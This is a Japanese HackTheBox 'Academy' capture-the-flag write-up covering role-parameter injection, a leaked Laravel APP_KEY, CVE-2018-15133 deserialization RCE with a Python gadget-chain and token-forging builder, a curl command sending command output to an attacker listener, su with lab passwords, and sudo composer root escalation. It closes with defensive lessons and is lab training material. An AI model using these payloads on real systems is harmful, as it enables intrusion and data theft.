HackTheBox: Academy — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 33060/mysqlx
→
22/ssh, 80/http, 33060/mysqlx
register.php
roleid=1 パラメータ注入
→
roleid=1 パラメータ注入
管理者権限アカウント獲得
→
dev-staging-01.academy.htb
Laravelデバッグページ→APP_KEY漏洩
→
Laravelデバッグページ→APP_KEY漏洩
CVE-2018-15133
PendingBroadcastガジェット
→
PendingBroadcastガジェット
www-data RCE
→
su cry0l1t3 / mrb3n
→
sudo composer run-script
→
user.txt + root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.89.203 nmap -sV -sC -p 22,80,33060 10.129.89.203
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Did not follow redirect to http://academy.htb/ 33060/tcp open mysqlx MySQL X protocol listener
ℹ️
ポート80への直接アクセスは
academy.htbへの302リダイレクトを
返す。/etc/hostsにこのvhostを追加してアクセスする必要がある。
vhost登録 & トップページ確認
BASH
echo "10.129.89.203 academy.htb dev-staging-01.academy.htb" | sudo tee -a /etc/hosts curl -sI http://10.129.89.203/
RESULT
HTTP/1.1 302 Found Server: Apache/2.4.41 (Ubuntu) Location: http://academy.htb/
🚨
再検証時の落とし穴(本レポート作成時に実際に遭遇):
同じKali環境で本マシンを過去に別インスタンスIP(例: 旧インスタンスの
10.129.34.70)で検証済みの場合、/etc/hostsに
古いIPへの行が既に残っている。単純に「ホスト名が存在するかどうか」
だけを確認して新規追記をスキップする実装だと、新しいターゲットIPへの
名前解決が永久に行われず、全てのvhostベースの攻撃がサイレントに失敗する。
追記前に同名ホストの既存行を必ず削除すること。
BASH(トップページ)
curl -s http://academy.htb/ | grep -i title
RESULT
<title>Hack The Box Academy</title>
PHASE 2
roleid=1 パラメータ注入による管理者権限アカウント作成
register.php の挙動確認
NOTE
"HTB Academy"(学習管理システムのクローン)はユーザー登録フォームを持つ。 register.phpのサーバー側実装は、クライアントから送信されたPOSTパラメータを ほぼそのままINSERT文に使用しており、フォーム上には存在しない"roleid"という 隠しパラメータを手動で付加することで、通常ユーザー(roleid=0程度)ではなく 管理者ロール(roleid=1)のアカウントを直接作成できてしまう。
BASH
curl -s -X POST http://academy.htb/register.php \
--data "uid=verify_pwn&password=Verify99!&confirm=Verify99!&roleid=1" \
-o /dev/null -w "register HTTP: %{http_code}\n"
RESULT (本レポート作成時に実際に実行し確認)
register HTTP: 302
ログイン & 管理者権限の確認
BASH
curl -s -c cookies.txt "http://academy.htb/login.php" -o /dev/null
curl -s -b cookies.txt -c cookies.txt -X POST "http://academy.htb/login.php" \
--data "uid=verify_pwn&password=Verify99!" -L -o after_login.html \
-w "HTTP: %{http_code} URL: %{url_effective}\n"
grep -i "Draft Modules" after_login.html
RESULT
HTTP: 200 URL: http://academy.htb/home.php
<li><a href="#/modules/draft"><i class=""></i> Draft Modules</a></li>
✅
権限昇格成功を確認: ナビゲーションメニューに
通常ユーザーには表示されない“Draft Modules”
(管理者専用メニュー)が表示されている。
roleid=1の
注入が有効であったことの直接的な証拠。
PHASE 3
dev-staging-01.academy.htb — Laravelデバッグページからの APP_KEY漏洩
管理パネル経由で開発環境vhostを発見
NOTE
管理者アカウントで利用できる機能の中に、開発中の新しいLMSシステムへの リンク(dev-staging-01.academy.htb)が存在する。このサブドメインで動く LaravelアプリはAPP_DEBUG=trueのまま運用されており、例外発生時に 詳細なデバッグ画面(Symfony VarDumper形式)が表示される。
BASH
curl -sk -H "Host: dev-staging-01.academy.htb" http://10.129.89.203/ \ -o devstaging.html grep -oE 'base64:[A-Za-z0-9+/=]+' devstaging.html
RESULT (本レポート作成時に実際に実行し確認)
base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
🚨
デバッグページの中身: アクセス時にLaravelの
Monologがログファイルへの書き込みに失敗する例外
(storage/logs/laravel.logへの書き込み権限エラー)が
未処理のまま発生し、環境変数一覧(.env相当)が
デバッグ画面にそのまま表示される。この中のAPP_KEYが
Laravelのセッション署名・暗号化に使われる秘密鍵であり、これが
漏洩すると「サーバーが署名済みと信じて復号したデータ」を
攻撃者が任意に作成できてしまう(後述のCVE-2018-15133)。
ℹ️
興味深い観測事実: 旧インスタンス(2026年7月、IP
10.129.34.70)の時に漏洩していたAPP_KEYと、新インスタンス
(2026年10月、IP 10.129.89.203)で漏洩したAPP_KEYは
完全に同一の値だった。user.txt/root.txtはHTBリセット
ごとにランダム化されるが、APP_KEYはDockerイメージに焼き込まれた
固定値であり、インスタンスが変わっても変化しないと見られる。
PHASE 4
CVE-2018-15133 — Laravel PendingBroadcast デシリアライゼーション RCE
脆弱性の仕組み
NOTE
古いバージョンのLaravelは、クッキー等で受け取った暗号化データを復号した後、 その内容をPHPの unserialize() に渡して処理する箇所がある。APP_KEYが 分かっていれば、任意のPHPオブジェクトグラフを暗号化してサーバーに送り込み デシリアライズさせることができる。本CVEで使われる「ガジェットチェーン」は Illuminate\Broadcasting\PendingBroadcastクラスのデストラクタが、内部の Faker\Generatorオブジェクトの__call経由でPHPの組み込み関数system()を 呼び出せる構造になっている点を悪用する。
PYTHON (ペイロードのPHPシリアライズ文字列を構築)
payload_php = (
b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:'
b'{s:9:"\x00*\x00events";'
b'O:15:"Faker\\Generator":1:'
b'{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:6:"system";}}'
b's:8:"\x00*\x00event";s:' + str(len(cmd_bytes)).encode()
+ b':"' + cmd_bytes + b'";}'
)
AES-256-CBC暗号化 & HMAC署名 & 送信
PYTHON
key = base64.b64decode(app_key.replace("base64:", ""))
iv = os.urandom(16)
padded = PKCS7(128).padder().update(payload_php) + ...
cipher = Cipher(AES(key), CBC(iv)).encryptor()
value_enc = cipher.update(padded) + cipher.finalize()
iv_b64, val_b64 = base64.b64encode(iv), base64.b64encode(value_enc)
mac = hmac.new(key, iv_b64 + val_b64, hashlib.sha256).hexdigest()
token = base64.b64encode(json.dumps({
"iv": iv_b64.decode(), "value": val_b64.decode(), "mac": mac
}).encode()).decode()
BASH (X-XSRF-TOKENヘッダーとして送信)
curl -sk -X POST http://dev-staging-01.academy.htb/ \ -H "X-XSRF-TOKEN: <上で生成したtoken>"
🚨
なぜ X-XSRF-TOKEN ヘッダーなのか: LaravelはCSRF対策用に
XSRF-TOKENクッキー/ヘッダーの値を自動で複合化(decrypt)して
検証する仕組みを持つ。攻撃者はこの「自動復号される」経路を悪用し、
本来のCSRFトークンではなく悪意のある暗号化オブジェクトをこのヘッダーに
埋め込んで送信する。
RCE動作確認
PYTHON (本レポート作成時に実際に実行し確認。idコマンドの結果を
Kali側の一時HTTPリスナーへcurlでPOSTして取得)
cmd = f"id | curl -sk -X POST --data-binary @- http://{KALI}:{PORT}/"
# ↑ このcmdをCVE-2018-15133ペイロードのsystem()呼び出しに埋め込んで送信
RESULT
HTTP status: 500 (Laravel側はデシリアライズ後に例外を出すため500が正常) Received RCE callback body: uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功!
www-dataとしてコマンドが実行される。
レスポンスボディでは結果が直接返らないため(デシリアライズ処理の例外で
HTTP 500になる)、実際の攻略ではコマンド内でKali側の一時HTTPリスナーへ
curlで結果をPOSTして外部に取り出す設計にする。
PHASE 5
横移動(su) & sudo composerによる権限昇格 — user.txt/root.txt取得
pty.openpty() で対話的su — user.txt
NOTE
SSH経由のパスワード認証はcry0l1t3/mrb3nどちらも無効化されているため、 www-dataのRCEから直接 su を使って横移動する必要がある。su はTTYを要求するため、 RCEで送り込むPythonコード内で pty.openpty() により疑似端末を自前で割り当て、 select()でプロンプト待ち+os.write()でパスワード送信を行う。
PYTHON (RCE経由でターゲット上に送り込むコード、要旨)
m, p = pty.openpty_and_spawn(["su", "cry0l1t3", "-s", "/bin/bash"]) wait_for(m, "assword") write(m, "mySup3rP4s5w0rd!!") wait_for(m, "$") write(m, "cat /home/cry0l1t3/user.txt") user_flag = read(m) # → curlでKaliへ送信
[*] Academy: APP_KEY = base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEyn...
[*] Academy: HTTP receiver on :4458
[★] user.txt 取得: 49888603909db016e924a85bbde0d311
user.txt — cry0l1t3
49888603909db016e924a85bbde0d311
su mrb3n → sudo composer GTFOBins — root.txt
NOTE
cry0l1t3のシェルから続けて su mrb3n (mrb3n_Ac@d3my!) する。mrb3nは sudoersで /usr/bin/composer をNOPASSWDではない形で実行可能なため、 パスワードを echo 'pass' | sudo -S の形式でパイプする(ptyコンテキストには 対話的TTYが無いため、sudo単体のパスワードプロンプトが出せない)。 GTFOBinsのcomposerエントリに従い、任意のシェルコマンドを実行する composer.json の "scripts" を用意して run-script で起動する。
BASH (composer.jsonの内容)
{"scripts": {"x": "id>/tmp/comp_id.txt && cat /root/root.txt>/tmp/comp_root.txt"}}
PYTHON (RCE経由のptyコンテキストで実行、要旨)
write(m, "su mrb3n"); wait_for(m, "assword"); write(m, "mrb3n_Ac@d3my!") write(m, "mkdir -p /tmp/acad_comp && echo <composer.json のbase64> | base64 -d > /tmp/acad_comp/composer.json") write(m, "echo 'mrb3n_Ac@d3my!' | sudo -S /usr/bin/composer --working-dir=/tmp/acad_comp run-script x 2>&1") write(m, "cat /tmp/comp_root.txt") root_flag = read(m) # → curlでKaliへ送信
⚠️
重要な注意点: composer.jsonは
--working-dirで
指定したディレクトリ内に、ファイル名そのもの
(composer.json)で配置されていなければ認識されない。また
出力先ファイル名は毎回フレッシュなものを使う(古い/tmp内の
同名ファイルが別ユーザー所有で残っていると、リダイレクト>
がPermission Deniedで失敗する)。
✅
root化成功! composerの
run-scriptは
sudo経由でroot権限で実行されるため、composer.json内に書いた任意コマンドが
rootとして走る。
root.txt — sudo composer run-script
438f2a67511d4dba5b269d0a25e42e90
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — cry0l1t3
49888603909db016e924a85bbde0d311
root.txt — sudo composer run-script (root)
438f2a67511d4dba5b269d0a25e42e90
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 隠しパラメータによる権限昇格(roleid=1) | register.php | 任意ロールでのアカウント作成(管理者権限) | High | フォームに存在しないroleidパラメータをPOSTボディに直接追加 |
| 本番運用でのデバッグモード有効化(APP_DEBUG=true) | dev-staging-01.academy.htb (Laravel) | 秘密鍵(APP_KEY)を含む環境変数の漏洩 | High | 意図的にログ書込エラーを誘発しデバッグ画面から環境変数を読み取る |
| CVE-2018-15133 | Laravel Framework (Illuminate\Broadcasting\PendingBroadcast) | リモートコード実行 (www-data) | Critical | APP_KEYでPHPガジェットチェーンを暗号化しX-XSRF-TOKENヘッダーとして送信、サーバーに復号・デシリアライズさせる |
| 過剰なsudo権限(/usr/bin/composer) | mrb3n ユーザー | 権限昇格 (root) | Medium | GTFOBins手法: composer.jsonのscriptsに任意コマンドを仕込みrun-scriptで実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, vhost登録 | 22/ssh, 80/http (academy.htb), 33060/mysqlx |
| 2 | 権限昇格(Web) | register.php の roleid=1 注入 | 管理者権限アカウント |
| 3 | 情報漏洩 | dev-staging-01.academy.htb のLaravelデバッグページ | APP_KEY = dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= |
| 4 | RCE | CVE-2018-15133 PendingBroadcastガジェット | www-data シェル獲得 |
| 5 | 横移動 & 権限昇格 | su cry0l1t3 → su mrb3n → sudo composer | user.txt + root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| register.phpがクライアント送信パラメータ(roleid)をそのままDBロールとして受け入れる | サーバー側でホワイトリスト/固定値を使い、ロール割り当てはクライアント入力から絶対に受け付けない設計にする。 |
| 開発用サブドメイン(dev-staging)が本番相当のネットワークから到達可能かつAPP_DEBUG=trueのまま放置されている | 開発/ステージング環境は本番ネットワークから隔離し、デバッグモードは絶対に本番公開しない。IP制限やBasic認証を併用する。 |
| LaravelのAPP_KEYが漏洩するとクッキー/トークンの暗号化・署名検証が完全に偽造可能になる(CVE-2018-15133) | Laravelを最新バージョンへ追従し既知のデシリアライゼーションガジェットを無効化する。APP_KEYはシークレット管理サービスで管理し、漏洩時は即座にローテーションする。 |
| 一般ユーザー(mrb3n)が/usr/bin/composerをsudo実行でき、composerのスクリプト実行機能経由で任意コマンドがroot権限で走る | sudoの許可対象バイナリは最小限に絞り、GTFOBinsに列挙されている危険なバイナリ(composer, vim, less等)へのsudo権限は原則付与しない。 |

